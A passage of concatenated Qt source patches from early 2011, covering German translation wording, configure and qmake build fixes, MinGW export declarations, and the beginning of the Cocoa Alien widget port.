cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid. - Der Zielname einer Processing-Anweisung kann nicht %1 (unabhängig von Groß/Kleinschreibung sein). %2 ist daher ungültig. + Der Zielname einer Processing-Anweisung kann nicht %1 (unabhängig von Groß/Kleinschreibung) sein. %2 ist daher ungültig. %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3. @@ -8570,15 +8570,15 @@ Bitte wählen Sie einen anderen Dateinamen. %1 is an unsupported encoding. - Das Encoding %1 wird nicht unterstützt. + Die Kodierung %1 wird nicht unterstützt. %1 contains octets which are disallowed in the requested encoding %2. - %1 enthält Oktette, die im Encoding %2 nicht zulässig sind. + %1 enthält Oktette, die in der Kodierung %2 nicht zulässig sind. The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character. - Der Code-Punkt %1 aus %2 mit Encoding %3 ist kein gültiges XML-Zeichen. + Der Code-Punkt %1 aus %2 mit der Kodierung %3 ist kein gültiges XML-Zeichen. Ambiguous rule match. @@ -9562,7 +9562,7 @@ Bitte wählen Sie einen anderen Dateinamen. Boolean content does not match pattern facet. - Der Boolesche Wert entspricht nicht der Suchmusterfacette. + Der boolesche Wert entspricht nicht der Suchmusterfacette. Binary content does not match the length facet. -- cgit v0.12 From d7255d7bf39ba681ff46fcb95a54d25793cce756 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Tue, 11 Jan 2011 15:14:31 +0100 Subject: installation of translations is now dealt with by translations.pro Reviewed-by: mariusSO --- projects.pro | 5 ----- 1 file changed, 5 deletions(-) diff --git a/projects.pro b/projects.pro index f94e1de..2e31e9a 100644 --- a/projects.pro +++ b/projects.pro @@ -143,11 +143,6 @@ CONFIG -= qt ### installations #### -#translations -translations.path=$$[QT_INSTALL_TRANSLATIONS] -translations.files = $$QT_SOURCE_TREE/translations/*.qm -INSTALLS += translations - #qmake qmake.path=$$[QT_INSTALL_BINS] win32 { -- cgit v0.12 From 4bc1261774b8c874440e29807888b6a95cc19b1f Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Mon, 10 Jan 2011 19:58:49 +0100 Subject: don't claim declarative debugging support without having declarative Task-number: QTBUG-15228 Reviewed-by: mariusSO --- configure | 4 +++- tools/configure/configureapp.cpp | 8 ++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/configure b/configure index 0394be9..128f735 100755 --- a/configure +++ b/configure @@ -8261,7 +8261,9 @@ if [ "$CFG_WEBKIT" != "no" ]; then fi fi echo "Declarative module ..... $CFG_DECLARATIVE" -echo "Declarative debugging ...$CFG_DECLARATIVE_DEBUG" +if [ "$CFG_DECLARATIVE" = "yes" ]; then + echo "Declarative debugging ...$CFG_DECLARATIVE_DEBUG" +fi echo "Support for S60 ........ $CFG_S60" echo "Symbian DEF files ...... $CFG_SYMBIAN_DEFFILES" echo "STL support ............ $CFG_STL" diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index 9dda3bd..c7df09d 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -3440,8 +3440,12 @@ void Configure::displayConfig() webkit = "yes (debug)"; cout << "WebKit support.............." << webkit << endl; } - cout << "Declarative support........." << dictionary[ "DECLARATIVE" ] << endl; - cout << "Declarative debugging......." << dictionary[ "DECLARATIVE_DEBUG" ] << endl; + { + QString declarative = dictionary[ "DECLARATIVE" ]; + cout << "Declarative support........." << declarative << endl; + if (declarative == "yes") + cout << "Declarative debugging......." << dictionary[ "DECLARATIVE_DEBUG" ] << endl; + } cout << "QtScript support............" << dictionary[ "SCRIPT" ] << endl; cout << "QtScriptTools support......." << dictionary[ "SCRIPTTOOLS" ] << endl; cout << "Graphics System............." << dictionary[ "GRAPHICS_SYSTEM" ] << endl; -- cgit v0.12 From 0953ee31dba532603fb7dfbde78c99aafb048bef Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Mon, 10 Jan 2011 20:09:24 +0100 Subject: fix -enable-stdcall-fixup usage the leading "-Wl," was apparently accidentally split off to the wrong line. Task-number: QTBUG-15391 Reviewed-by: mariusSO --- mkspecs/win32-g++/qmake.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/mkspecs/win32-g++/qmake.conf b/mkspecs/win32-g++/qmake.conf index ec216aa..2d9833b 100644 --- a/mkspecs/win32-g++/qmake.conf +++ b/mkspecs/win32-g++/qmake.conf @@ -52,8 +52,8 @@ QMAKE_RUN_CXX_IMP = $(CXX) -c $(CXXFLAGS) $(INCPATH) -o $@ $< QMAKE_LINK = g++ QMAKE_LINK_C = gcc -QMAKE_LFLAGS = -enable-stdcall-fixup -Wl,-enable-auto-import -Wl,-enable-runtime-pseudo-reloc -QMAKE_LFLAGS_EXCEPTIONS_ON = -mthreads -Wl +QMAKE_LFLAGS = -Wl,-enable-stdcall-fixup -Wl,-enable-auto-import -Wl,-enable-runtime-pseudo-reloc +QMAKE_LFLAGS_EXCEPTIONS_ON = -mthreads QMAKE_LFLAGS_EXCEPTIONS_OFF = QMAKE_LFLAGS_RELEASE = -Wl,-s QMAKE_LFLAGS_DEBUG = -- cgit v0.12 From 7ec1c27e662dfd4393491f90bfcb9c868cc0a23f Mon Sep 17 00:00:00 2001 From: Mark Brand Date: Mon, 10 Jan 2011 20:21:05 +0100 Subject: Fix static build on Windows with MinGW. Q_DECL_IMPORT is still __declspec(dllimport), which is unsuitable for static code. Commit edbc656b changed Q_DECL_IMPORT_IMPORT to Q_CORE_EXPORT when declaring QtCore functions in svg. Now we change Q_DECL_IMPORT to Q_GUI_EXPORT when declaring QtGui functions into opengl and openvg. Also removed the redundant keyword "extern" from the function declarations. Merge-request: 2540 Reviewed-by: Oswald Buddenhagen Reviewed-by: mariusSO --- src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp | 4 ++-- src/opengl/qglframebufferobject.cpp | 4 ++-- src/opengl/qglpixelbuffer.cpp | 4 ++-- src/opengl/qglpixmapfilter.cpp | 6 +++--- src/opengl/qpaintengine_opengl.cpp | 2 +- src/opengl/qpixmapdata_gl.cpp | 4 ++-- src/openvg/qpaintengine_vg.cpp | 8 ++++---- src/openvg/qpixmapdata_vg.cpp | 4 ++-- 8 files changed, 18 insertions(+), 18 deletions(-) diff --git a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp index 9ab8d2e..ad2852e 100644 --- a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp +++ b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp @@ -102,7 +102,7 @@ extern Q_GUI_EXPORT bool qt_cleartype_enabled; extern bool qt_applefontsmoothing_enabled; #endif -Q_DECL_IMPORT extern QImage qt_imageForBrush(int brushStyle, bool invert); +Q_GUI_EXPORT QImage qt_imageForBrush(int brushStyle, bool invert); ////////////////////////////////// Private Methods ////////////////////////////////////////// @@ -1154,7 +1154,7 @@ void QGL2PaintEngineEx::fill(const QVectorPath &path, const QBrush &brush) d->fill(path); } -extern Q_GUI_EXPORT bool qt_scaleForTransform(const QTransform &transform, qreal *scale); // qtransform.cpp +Q_GUI_EXPORT bool qt_scaleForTransform(const QTransform &transform, qreal *scale); // qtransform.cpp void QGL2PaintEngineEx::stroke(const QVectorPath &path, const QPen &pen) diff --git a/src/opengl/qglframebufferobject.cpp b/src/opengl/qglframebufferobject.cpp index adf3ceb..6161d9b 100644 --- a/src/opengl/qglframebufferobject.cpp +++ b/src/opengl/qglframebufferobject.cpp @@ -1171,8 +1171,8 @@ void QGLFramebufferObject::drawTexture(const QPointF &point, QMacCompatGLuint te } #endif -Q_DECL_IMPORT extern int qt_defaultDpiX(); -Q_DECL_IMPORT extern int qt_defaultDpiY(); +Q_GUI_EXPORT int qt_defaultDpiX(); +Q_GUI_EXPORT int qt_defaultDpiY(); /*! \reimp */ int QGLFramebufferObject::metric(PaintDeviceMetric metric) const diff --git a/src/opengl/qglpixelbuffer.cpp b/src/opengl/qglpixelbuffer.cpp index 735590f..61bce23 100644 --- a/src/opengl/qglpixelbuffer.cpp +++ b/src/opengl/qglpixelbuffer.cpp @@ -416,8 +416,8 @@ QPaintEngine *QGLPixelBuffer::paintEngine() const #endif } -Q_DECL_IMPORT extern int qt_defaultDpiX(); -Q_DECL_IMPORT extern int qt_defaultDpiY(); +Q_GUI_EXPORT int qt_defaultDpiX(); +Q_GUI_EXPORT int qt_defaultDpiY(); /*! \reimp */ int QGLPixelBuffer::metric(PaintDeviceMetric metric) const diff --git a/src/opengl/qglpixmapfilter.cpp b/src/opengl/qglpixmapfilter.cpp index 0369d56..2187deb 100644 --- a/src/opengl/qglpixmapfilter.cpp +++ b/src/opengl/qglpixmapfilter.cpp @@ -63,8 +63,8 @@ QT_BEGIN_NAMESPACE // qpixmapfilter.cpp -Q_DECL_IMPORT void qt_blurImage(QImage &blurImage, qreal radius, bool quality, int transposed = 0); -Q_DECL_IMPORT QImage qt_halfScaled(const QImage &source); +Q_GUI_EXPORT void qt_blurImage(QImage &blurImage, qreal radius, bool quality, int transposed = 0); +Q_GUI_EXPORT QImage qt_halfScaled(const QImage &source); void QGLPixmapFilterBase::bindTexture(const QPixmap &src) const { @@ -436,7 +436,7 @@ static inline uint nextMultiple(uint x, uint multiplier) return x + multiplier - mod; } -Q_DECL_IMPORT void qt_memrotate90_gl(const quint32 *src, int srcWidth, int srcHeight, int srcStride, +Q_GUI_EXPORT void qt_memrotate90_gl(const quint32 *src, int srcWidth, int srcHeight, int srcStride, quint32 *dest, int dstStride); bool QGLPixmapBlurFilter::processGL(QPainter *painter, const QPointF &pos, const QPixmap &src, const QRectF &) const diff --git a/src/opengl/qpaintengine_opengl.cpp b/src/opengl/qpaintengine_opengl.cpp index 2f1b8fd..2c01ac4 100644 --- a/src/opengl/qpaintengine_opengl.cpp +++ b/src/opengl/qpaintengine_opengl.cpp @@ -79,7 +79,7 @@ QT_BEGIN_NAMESPACE -Q_DECL_IMPORT extern QImage qt_imageForBrush(int brushStyle, bool invert); //in qbrush.cpp +Q_GUI_EXPORT QImage qt_imageForBrush(int brushStyle, bool invert); //in qbrush.cpp #ifdef QT_MAC_USE_COCOA extern void *qt_current_nsopengl_context(); // qgl_mac.mm #endif diff --git a/src/opengl/qpixmapdata_gl.cpp b/src/opengl/qpixmapdata_gl.cpp index 3549f9d..9980f2d 100644 --- a/src/opengl/qpixmapdata_gl.cpp +++ b/src/opengl/qpixmapdata_gl.cpp @@ -739,8 +739,8 @@ QGLTexture* QGLPixmapData::texture() const return &m_texture; } -Q_DECL_IMPORT extern int qt_defaultDpiX(); -Q_DECL_IMPORT extern int qt_defaultDpiY(); +Q_GUI_EXPORT int qt_defaultDpiX(); +Q_GUI_EXPORT int qt_defaultDpiY(); int QGLPixmapData::metric(QPaintDevice::PaintDeviceMetric metric) const { diff --git a/src/openvg/qpaintengine_vg.cpp b/src/openvg/qpaintengine_vg.cpp index 09cbc36..b90811d 100644 --- a/src/openvg/qpaintengine_vg.cpp +++ b/src/openvg/qpaintengine_vg.cpp @@ -77,8 +77,8 @@ static const qreal aliasedCoordinateDelta = 0.5 - 0.015625; #if !defined(QVG_NO_DRAW_GLYPHS) -Q_DECL_IMPORT extern int qt_defaultDpiX(); -Q_DECL_IMPORT extern int qt_defaultDpiY(); +Q_GUI_EXPORT int qt_defaultDpiX(); +Q_GUI_EXPORT int qt_defaultDpiY(); class QVGPaintEnginePrivate; @@ -526,7 +526,7 @@ void QVGPaintEnginePrivate::setTransform vgLoadMatrix(mat); } -Q_DECL_IMPORT extern bool qt_scaleForTransform(const QTransform &transform, qreal *scale); +Q_GUI_EXPORT bool qt_scaleForTransform(const QTransform &transform, qreal *scale); void QVGPaintEnginePrivate::updateTransform(QPaintDevice *pdev) { @@ -994,7 +994,7 @@ VGPath QVGPaintEnginePrivate::roundedRectPath(const QRectF &rect, qreal xRadius, return vgpath; } -Q_DECL_IMPORT extern QImage qt_imageForBrush(int style, bool invert); +Q_GUI_EXPORT QImage qt_imageForBrush(int style, bool invert); static QImage colorizeBitmap(const QImage &image, const QColor &color) { diff --git a/src/openvg/qpixmapdata_vg.cpp b/src/openvg/qpixmapdata_vg.cpp index 3f768fd..e4b1d02 100644 --- a/src/openvg/qpixmapdata_vg.cpp +++ b/src/openvg/qpixmapdata_vg.cpp @@ -404,8 +404,8 @@ void QVGPixmapData::reclaimImages() destroyImages(); } -Q_DECL_IMPORT extern int qt_defaultDpiX(); -Q_DECL_IMPORT extern int qt_defaultDpiY(); +Q_GUI_EXPORT int qt_defaultDpiX(); +Q_GUI_EXPORT int qt_defaultDpiY(); int QVGPixmapData::metric(QPaintDevice::PaintDeviceMetric metric) const { -- cgit v0.12 From 60b591108cbe4550d38fa03245cb9c4653778b47 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Mon, 10 Jan 2011 20:41:48 +0100 Subject: accept -declarative-debug under unix Task-number: QTBUG-15626 Reviewed-by: mariusSO --- configure | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/configure b/configure index 128f735..b33fc14 100755 --- a/configure +++ b/configure @@ -962,7 +962,7 @@ while [ "$#" -gt 0 ]; do VAL=no ;; #Qt style yes options - -incremental|-qvfb|-profile|-shared|-static|-sm|-xinerama|-xshape|-xsync|-xinput|-egl|-reduce-exports|-pch|-separate-debug-info|-stl|-freetype|-xcursor|-xfixes|-xrandr|-xrender|-mitshm|-fontconfig|-xkb|-nis|-qdbus|-dbus|-dbus-linked|-glib|-gstreamer|-gtkstyle|-cups|-iconv|-largefile|-h|-help|-v|-verbose|-debug|-release|-fast|-accessibility|-confirm-license|-gnumake|-framework|-qt3support|-debug-and-release|-exceptions|-cocoa|-carbon|-universal|-prefix-install|-silent|-armfpa|-optimized-qmake|-dwarf2|-reduce-relocations|-sse|-openssl|-openssl-linked|-ptmalloc|-xmlpatterns|-phonon|-phonon-backend|-multimedia|-audio-backend|-svg|-declarative|-javascript-jit|-script|-scripttools|-rpath|-force-pkg-config|-s60|-usedeffiles) + -incremental|-qvfb|-profile|-shared|-static|-sm|-xinerama|-xshape|-xsync|-xinput|-egl|-reduce-exports|-pch|-separate-debug-info|-stl|-freetype|-xcursor|-xfixes|-xrandr|-xrender|-mitshm|-fontconfig|-xkb|-nis|-qdbus|-dbus|-dbus-linked|-glib|-gstreamer|-gtkstyle|-cups|-iconv|-largefile|-h|-help|-v|-verbose|-debug|-release|-fast|-accessibility|-confirm-license|-gnumake|-framework|-qt3support|-debug-and-release|-exceptions|-cocoa|-carbon|-universal|-prefix-install|-silent|-armfpa|-optimized-qmake|-dwarf2|-reduce-relocations|-sse|-openssl|-openssl-linked|-ptmalloc|-xmlpatterns|-phonon|-phonon-backend|-multimedia|-audio-backend|-svg|-declarative|-declarative-debug|-javascript-jit|-script|-scripttools|-rpath|-force-pkg-config|-s60|-usedeffiles) VAR=`echo $1 | sed "s,^-\(.*\),\1,"` VAL=yes ;; @@ -3560,7 +3560,7 @@ Usage: $relconf [-h] [-prefix ] [-prefix-install] [-bindir ] [-libdir [-no-gtkstyle] [-gtkstyle] [-no-svg] [-svg] [-no-webkit] [-webkit] [-webkit-debug] [-no-javascript-jit] [-javascript-jit] [-no-script] [-script] [-no-scripttools] [-scripttools] - [-no-declarative] [-declarative][-no-declarative-debug] [-declarative-debug] + [-no-declarative] [-declarative] [-no-declarative-debug] [-declarative-debug] [additional platform specific options (see below)] -- cgit v0.12 From 66242e0e492137e051273055f566c3edd42c07e9 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Tue, 11 Jan 2011 12:43:35 +0100 Subject: clean up platform detection logic it's pointless to check which files are present, as we only have all-platform packages now. Task-number: QTBUG-15685 Reviewed-by: mariusSO --- configure | 60 ++++++++++++------------------------------------------------ 1 file changed, 12 insertions(+), 48 deletions(-) diff --git a/configure b/configure index b33fc14..a455ad3 100755 --- a/configure +++ b/configure @@ -185,27 +185,11 @@ fi #------------------------------------------------------------------------------- PLATFORM_X11=no -PLATFORM_MAC=no -PLATFORM_QWS=no - -if [ -f "$relpath"/src/gui/kernel/qapplication_mac.mm ] && [ -d /System/Library/Frameworks/Carbon.framework ]; then - # Qt/Mac - # ~ the Carbon SDK exists - # ~ src/gui/base/qapplication_mac.cpp is present - # ~ this is the internal edition and Qt/Mac sources exist +PLATFORM_QWS=maybe +if [ -d /System/Library/Frameworks/Carbon.framework ]; then PLATFORM_MAC=maybe -elif [ -f "$relpath"/src/gui/kernel/qapplication_qws.cpp ]; then - # Qt Embedded - # ~ src/gui/base/qapplication_qws.cpp is present - # ~ this is the free or commercial edition - # ~ this is the internal edition and Qt Embedded is explicitly enabled - if [ -f "$relpath"/src/gui/kernel/qapplication_mac.mm ]; then - # This is a depot build, or an all-platforms package - PLATFORM_QWS=maybe - else - # This must be the embedded package, since the Qt/Mac source files are not present - PLATFORM_QWS=yes - fi +else + PLATFORM_MAC=no fi #----------------------------------------------------------------------------- @@ -314,16 +298,9 @@ earlyArgParse() case "$VAR" in embedded) CFG_EMBEDDED="$VAL" - if [ "$PLATFORM_QWS" != "no" ]; then - if [ "$PLATFORM_QWS" = "maybe" ]; then - PLATFORM_X11=no - PLATFORM_MAC=no - PLATFORM_QWS=yes - fi - else - echo "No license exists to enable Qt for Embedded Linux. Disabling." - CFG_EMBEDDED=no - fi + PLATFORM_X11=no + PLATFORM_MAC=no + PLATFORM_QWS=yes ;; developer-build) CFG_DEV="yes" @@ -1235,16 +1212,9 @@ while [ "$#" -gt 0 ]; do ;; embedded) CFG_EMBEDDED="$VAL" - if [ "$PLATFORM_QWS" != "no" ]; then - if [ "$PLATFORM_QWS" = "maybe" ]; then - PLATFORM_X11=no - PLATFORM_MAC=no - PLATFORM_QWS=yes - fi - else - echo "No license exists to enable Qt for Embedded Linux. Disabling." - CFG_EMBEDDED=no - fi + PLATFORM_X11=no + PLATFORM_MAC=no + PLATFORM_QWS=yes ;; sse) if [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then @@ -1349,14 +1319,8 @@ while [ "$#" -gt 0 ]; do CFG_BUILD_PARTS="$CFG_BUILD_PARTS $VAL" ;; x11) - if [ "$PLATFORM_MAC" = "yes" ]; then - PLATFORM_MAC=no - elif [ "$PLATFORM_QWS" = "yes" ]; then - PLATFORM_QWS=no - fi - if [ "$CFG_FRAMEWORK" = "auto" ]; then - CFG_FRAMEWORK=no - fi + PLATFORM_MAC=no + PLATFORM_QWS=no PLATFORM_X11=yes ;; sdk) -- cgit v0.12 From a05ece41b9adbbe2f5aebd305e84e29693a39bcf Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Tue, 11 Jan 2011 13:28:40 +0100 Subject: make qtlibinfix apply to QT_INSTALL_TRANSLATIONS the unix configure already got it right Task-number: QTBUG-15978 Reviewed-by: Alessandro Portale Reviewed-by: mariusSO --- tools/configure/configureapp.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index c7df09d..d2be581 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -1031,6 +1031,8 @@ void Configure::parseCmdLine() QString("\\resource\\qt%1\\plugins").arg(dictionary[ "QT_LIBINFIX" ]); dictionary[ "QT_INSTALL_IMPORTS" ] = QString("\\resource\\qt%1\\imports").arg(dictionary[ "QT_LIBINFIX" ]); + dictionary[ "QT_INSTALL_TRANSLATIONS" ] = + QString("\\resource\\qt%1\\translations").arg(dictionary[ "QT_LIBINFIX" ]); } } else if (configCmdLine.at(i) == "-D") { ++i; -- cgit v0.12 From c8fb3f90cf3834a723ae76de95831995459ec94e Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Tue, 11 Jan 2011 13:46:36 +0100 Subject: don't ignore return code from syncqt Task-number: QTBUG-16176 Reviewed-by: mariusSO --- configure | 4 ++-- tools/configure/configureapp.cpp | 6 +++++- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/configure b/configure index a455ad3..6c50484 100755 --- a/configure +++ b/configure @@ -4524,9 +4524,9 @@ if [ -n "$PERL" ] && [ -x "$relpath/bin/syncqt" ]; then SYNCQT_OPTS= [ "$CFG_DEV" = "yes" ] && SYNCQT_OPTS="$SYNCQT_OPTS -check-includes" if [ "$OPT_SHADOW" = "yes" ]; then - "$outpath/bin/syncqt" $SYNCQT_OPTS + "$outpath/bin/syncqt" $SYNCQT_OPTS || exit 1 elif [ "$CFG_DEV" = "yes" ] || [ ! -d $relpath/include ] || [ -d $relpath/.git ]; then - QTDIR="$relpath" perl "$outpath/bin/syncqt" $SYNCQT_OPTS + QTDIR="$relpath" perl "$outpath/bin/syncqt" $SYNCQT_OPTS || exit 1 fi fi diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index d2be581..8fa03ab 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -3578,7 +3578,11 @@ void Configure::generateHeaders() QStringList env; env += QString("QTDIR=" + sourcePath); env += QString("PATH=" + buildPath + "/bin/;" + qgetenv("PATH")); - Environment::execute(args, env, QStringList()); + int retc = Environment::execute(args, env, QStringList()); + if (retc) { + cout << "syncqt failed, return code " << retc << endl << endl; + dictionary["DONE"] = "error"; + } } } -- cgit v0.12 From b7a1c07025aa6896f6b6482feb2df7fbc00f4d32 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Thu, 13 Jan 2011 19:53:39 +0100 Subject: make sure Option::dir_sep is initialized in time querying $$DIR_SEPARATOR (possibly indirectly via $$QMAKE_DIR_SEP) may happen before querying any os scopes, so better make it initialize the host mode explicitly. loading features theoretically needs an initialized dir_sep as well (to detect relative paths), so take care of that as well. Task-number: QTBUG-10633 Reviewed-by: mariusSO --- qmake/project.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/qmake/project.cpp b/qmake/project.cpp index 2cf7393..8d8d9e0 100644 --- a/qmake/project.cpp +++ b/qmake/project.cpp @@ -1642,6 +1642,7 @@ QMakeProject::doProjectInclude(QString file, uchar flags, QMap Date: Mon, 17 Jan 2011 12:44:06 +0000 Subject: Fix header not found build error Task-Number: QT-4378 --- src/network/access/qnetworkaccessmanager.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index 6b8dc9e..ea18367 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -48,7 +48,7 @@ #include "qabstractnetworkcache.h" #include "QtNetwork/qnetworksession.h" -#include "qsharednetworksession_p.h" +#include "QtNetwork/private/qsharednetworksession_p.h" #include "qnetworkaccesshttpbackend_p.h" #include "qnetworkaccessftpbackend_p.h" -- cgit v0.12 From 72aa2eb43b0cf5a6eef940da05ac58f605794ffb Mon Sep 17 00:00:00 2001 From: Richard Moe Gustavsen Date: Thu, 9 Dec 2010 14:10:57 +0100 Subject: Alien implementation for the Cocoa port Give Alien on Cocoa a warm welcome. --- src/gui/kernel/qapplication.cpp | 13 +- src/gui/kernel/qapplication_mac.mm | 124 ++-- src/gui/kernel/qapplication_p.h | 2 - src/gui/kernel/qcocoaapplicationdelegate_mac.mm | 21 + src/gui/kernel/qcocoapanel_mac.mm | 7 +- src/gui/kernel/qcocoapanel_mac_p.h | 9 +- src/gui/kernel/qcocoasharedwindowmethods_mac_p.h | 407 ++++++++--- src/gui/kernel/qcocoaview_mac.mm | 838 +++++++---------------- src/gui/kernel/qcocoaview_mac_p.h | 28 - src/gui/kernel/qcocoawindow_mac.mm | 2 + src/gui/kernel/qcocoawindow_mac_p.h | 10 +- src/gui/kernel/qcursor.h | 5 +- src/gui/kernel/qcursor_mac.mm | 128 +++- src/gui/kernel/qdnd_mac.mm | 4 +- src/gui/kernel/qt_cocoa_helpers_mac.mm | 446 ++++++++---- src/gui/kernel/qt_cocoa_helpers_mac_p.h | 30 +- src/gui/kernel/qwidget.cpp | 39 +- src/gui/kernel/qwidget_mac.mm | 769 +++++++++++++-------- src/gui/kernel/qwidget_p.h | 5 +- src/gui/painting/qwindowsurface_raster.cpp | 1 + src/gui/widgets/qcocoamenu_mac.mm | 3 +- src/gui/widgets/qfocusframe.cpp | 3 + src/gui/widgets/qmainwindow.cpp | 5 - src/gui/widgets/qmainwindowlayout_mac.mm | 25 +- tests/auto/qwidget/tst_qwidget.cpp | 39 +- tests/auto/qwidget/tst_qwidget_mac_helpers.h | 13 +- tests/auto/qwidget/tst_qwidget_mac_helpers.mm | 44 ++ 27 files changed, 1700 insertions(+), 1320 deletions(-) diff --git a/src/gui/kernel/qapplication.cpp b/src/gui/kernel/qapplication.cpp index 833e803..27d34db 100644 --- a/src/gui/kernel/qapplication.cpp +++ b/src/gui/kernel/qapplication.cpp @@ -2772,7 +2772,7 @@ void QApplicationPrivate::dispatchEnterLeave(QWidget* enter, QWidget* leave) { for (int i = 0; i < leaveList.size(); ++i) { w = leaveList.at(i); if (!QApplication::activeModalWidget() || QApplicationPrivate::tryModalHelper(w, 0)) { -#if defined(Q_WS_WIN) || defined(Q_WS_X11) +#if defined(Q_WS_WIN) || defined(Q_WS_X11) || defined(Q_WS_MAC) if (leaveAfterRelease == w) leaveAfterRelease = 0; #endif @@ -3143,13 +3143,11 @@ bool QApplicationPrivate::sendMouseEvent(QWidget *receiver, QMouseEvent *event, // Dispatch enter/leave if: // 1) the mouse grabber is an alien widget // 2) the button is released on an alien widget - QWidget *enter = 0; if (nativeGuard) enter = alienGuard ? alienWidget : nativeWidget; else // The receiver is typically deleted on mouse release with drag'n'drop. enter = QApplication::widgetAt(event->globalPos()); - dispatchEnterLeave(enter, leaveAfterRelease); leaveAfterRelease = 0; lastMouseReceiver = enter; @@ -3696,15 +3694,6 @@ void QApplication::changeOverrideCursor(const QCursor &cursor) if (qApp->d_func()->cursor_list.isEmpty()) return; qApp->d_func()->cursor_list.removeFirst(); -#ifdef QT_MAC_USE_COCOA - // We use native NSCursor stacks in Cocoa. The currentCursor is the - // top of this stack. So to avoid flickering of cursor, we have to - // change the cusor instead of pop-ing the existing OverrideCursor - // and pushing the new one. - qApp->d_func()->cursor_list.prepend(cursor); - qt_cocoaChangeOverrideCursor(cursor); - return; -#endif setOverrideCursor(cursor); } #endif diff --git a/src/gui/kernel/qapplication_mac.mm b/src/gui/kernel/qapplication_mac.mm index 3aafeb4..3bdfaf8 100644 --- a/src/gui/kernel/qapplication_mac.mm +++ b/src/gui/kernel/qapplication_mac.mm @@ -165,6 +165,7 @@ QT_BEGIN_NAMESPACE //for qt_mac.h QPaintDevice *qt_mac_safe_pdev = 0; QList *QMacWindowChangeEvent::change_events = 0; +QPointer topLevelAt_cache = 0; /***************************************************************************** Internal variables and functions @@ -192,7 +193,6 @@ static bool qt_mac_previous_press_in_popup_mode = false; static bool qt_mac_no_click_through_mode = false; static int tablet_button_state = 0; #endif -QPointer qt_mouseover; #if defined(QT_DEBUG) static bool appNoGrab = false; // mouse/keyboard grabbing #endif @@ -216,11 +216,12 @@ extern bool qt_mac_can_clickThrough(const QWidget *); //qwidget_mac.cpp extern bool qt_mac_is_macdrawer(const QWidget *); //qwidget_mac.cpp extern OSWindowRef qt_mac_window_for(const QWidget*); //qwidget_mac.cpp extern QWidget *qt_mac_find_window(OSWindowRef); //qwidget_mac.cpp -extern void qt_mac_set_cursor(const QCursor *, const QPoint &); //qcursor_mac.cpp +extern void qt_mac_set_cursor(const QCursor *); //qcursor_mac.cpp extern bool qt_mac_is_macsheet(const QWidget *); //qwidget_mac.cpp extern QString qt_mac_from_pascal_string(const Str255); //qglobal.cpp extern void qt_mac_command_set_enabled(MenuRef, UInt32, bool); //qmenu_mac.cpp extern bool qt_sendSpontaneousEvent(QObject *obj, QEvent *event); // qapplication.cpp +extern void qt_mac_update_cursor(); // qcursor_mac.mm // Forward Decls void onApplicationWindowChangedActivation( QWidget*widget, bool activated ); @@ -1364,43 +1365,16 @@ void QApplication::setMainWidget(QWidget *mainWidget) /***************************************************************************** QApplication cursor stack *****************************************************************************/ -#ifdef QT_MAC_USE_COCOA -void QApplicationPrivate::disableUsageOfCursorRects(bool disable) -{ - // In Cocoa there are two competing ways of setting the cursor; either - // by using cursor rects (see qcocoaview_mac.mm), or by pushing/popping - // the cursor manually. When we use override cursors, it makes most sense - // to use the latter. But then we need to tell cocoa to stop using the - // first approach so it doesn't change the cursor back when hovering over - // a cursor rect: - QWidgetList topLevels = qApp->topLevelWidgets(); - for (int i=0; ioverrideCursor()) - [static_cast(qt_mac_nsCursorForQCursor(*override)) set]; -} -#endif void QApplication::setOverrideCursor(const QCursor &cursor) { qApp->d_func()->cursor_list.prepend(cursor); #ifdef QT_MAC_USE_COCOA - QMacCocoaAutoReleasePool pool; - if (qApp->d_func()->cursor_list.size() == 1) - qApp->d_func()->disableUsageOfCursorRects(true); - [static_cast(qt_mac_nsCursorForQCursor(cursor)) push]; + qt_mac_update_cursor(); #else if (qApp && qApp->activeWindow()) - qt_mac_set_cursor(&qApp->d_func()->cursor_list.first(), QCursor::pos()); + qt_mac_set_cursor(&qApp->d_func()->cursor_list.first()); #endif } @@ -1411,14 +1385,11 @@ void QApplication::restoreOverrideCursor() qApp->d_func()->cursor_list.removeFirst(); #ifdef QT_MAC_USE_COCOA - QMacCocoaAutoReleasePool pool; - [NSCursor pop]; - if (qApp->d_func()->cursor_list.isEmpty()) - qApp->d_func()->disableUsageOfCursorRects(false); + qt_mac_update_cursor(); #else if (qApp && qApp->activeWindow()) { const QCursor def(Qt::ArrowCursor); - qt_mac_set_cursor(qApp->d_func()->cursor_list.isEmpty() ? &def : &qApp->d_func()->cursor_list.first(), 